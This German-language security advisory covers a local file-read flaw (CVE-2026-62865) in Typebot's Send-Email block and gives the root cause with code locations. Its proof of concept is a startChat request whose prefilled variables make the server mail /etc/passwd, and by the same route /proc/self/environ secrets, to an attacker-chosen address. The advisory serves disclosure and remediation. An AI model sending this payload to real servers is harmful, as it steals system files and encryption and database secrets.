Typebot: Beliebiges Lesen von Server-Dateien über den Anhang-Pfad des Send-Email-Blocks

Der Send-Email-Block übernimmt einen von einer Typebot-Variablen gesteuerten Anhang-Wert unverändert als Dateipfad, und der Nodemailer-Transport lässt den Zugriff auf lokale Dateien zu, sodass ein Angreifer /etc/passwd oder /proc/self/environ vom Server auslesen und sich als Anhang zusenden lässt.

Advisory-ID: TP-2026-051
Produkt: Typebot (Open-Source-Baukasten für Chatbots und Konversationsformulare, self-hosted)
Schwachstellentyp: Beliebiges Lesen lokaler Dateien über einen ungeprüften Pfad (CWE-22) mit Offenlegung sensibler Daten (CWE-200)
CVE: CVE-2026-62865
CVSS 3.1: 7.7 (Hoch) · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Hersteller-Advisory: GHSA-j32h-2r6x-wmf3
Betroffene Versionen: Typebot <= 3.17.1
Behoben in: Typebot 3.18.0
Gemeldet: 4. Juni 2026

Zusammenfassung

Typebot ist ein self-hosted Baukasten für Chatbots und Konversationsformulare, dessen Send-Email-Block server-seitig in der Chat-API läuft. Der Block übernimmt den Anhang-Wert, der aus einer Typebot-Variablen stammt, unverändert als { path } an Nodemailer, sobald der Wert nicht mit env.NEXTAUTH_URL beginnt. Der Nodemailer-Transport wird ohne die Optionen disableFileAccess und disableUrlAccess gebaut, die in Nodemailer 8.0.7 beide standardmäßig auf false stehen, sodass ein Pfad wie /etc/passwd vom lokalen Dateisystem gelesen und angehängt wird. Sowohl der Anhang-Wert als auch die Empfängerliste sind vom Angreifer setzbar. Er liest damit /etc/passwd sowie über /proc/self/environ das ENCRYPTION_SECRET, mit dem alle gespeicherten Integrations-Zugangsdaten entschlüsselt werden, und die DATABASE_URL.

Ursache

parseAttachments gibt für jeden Anhang-Wert, der nicht mit env.NEXTAUTH_URL beginnt, unverändert { path: url } zurück (packages/bot-engine/src/blocks/integrations/sendEmail/executeSendEmailBlock.tsx:357), während der beabsichtigte Zweig für einen eigenen Upload eine signierte temporäre URL erzeugt (:362-372). Der Nodemailer-Transport wird nur mit host, port, secure und auth gebaut (:174-182, createTransport :208) und lässt damit die Optionen disableFileAccess und disableUrlAccess weg, die in Nodemailer 8.0.7 beide auf false voreingestellt sind, sodass { path } als lokale Datei gelesen wird. Der Anhang-Wert stammt aus einer Typebot-Variablen (getFileUrls(variables)(options.attachmentsVariableId), :120) und die Empfängerliste wird über parseVariables interpoliert (:100-102), beide sind vom Angreifer steuerbar. Der Block läuft server-seitig, und credentialsId:"default" nutzt das System-SMTP, das eine self-hosted Installation ohnehin für den Magic-Link-Login besitzt. Basis-Angreifer ist jeder registrierte Nutzer (offene Registrierung ist Standard), der den Bot anlegt; anonym wird der Angriff, wenn der Bot Anhang und Empfänger als vorbelegbare Variablen ausstellt.

Proof of Concept

# Anonymer Chat-Start mit vorbelegten Variablen für Anhang-Pfad und Empfänger:
POST /api/v1/typebots/<publicId>/startChat
Content-Type: application/json

{"prefilledVariables": {"attach": "/etc/passwd", "rcpt": "[email protected]"}}

# Der Send-Email-Block liest /etc/passwd und stellt es als Base64-Anhang zu.
# Dieselbe Grundlage liest /proc/self/environ → ENCRYPTION_SECRET, DATABASE_URL.

In der Live-Verifikation auf Version 3.17.1 las der Server nach einem anonymen startChat mit prefilledVariables {attach:"/etc/passwd", rcpt:"[email protected]"} die Datei /etc/passwd vollständig und stellte sie als Base64-Anhang passwd an das Angreifer-Postfach zu (dekodiert root:x:0:0:...). Dieselbe Grundlage las /proc/self/environ und lieferte das ENCRYPTION_SECRET, das alle gespeicherten Integrations-Zugangsdaten entschlüsselt, sowie die DATABASE_URL.

Auswirkung

  • Lesen beliebiger Dateien vom Server, auf die der Node-Prozess zugreifen darf, ausgeliefert als E-Mail-Anhang an eine vom Angreifer gewählte Adresse.
  • Auslesen von /proc/self/environ und damit des ENCRYPTION_SECRET, mit dem sich alle gespeicherten Integrations-Zugangsdaten entschlüsseln lassen, sowie der DATABASE_URL.
  • Basis-Angreifer ist jeder registrierte Nutzer bei standardmäßig offener Registrierung; vollständig anonym, sobald der Bot Anhang und Empfänger als vorbelegbare Variablen ausstellt.

Referenzen

Steckt so etwas in Ihrer Software?

Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.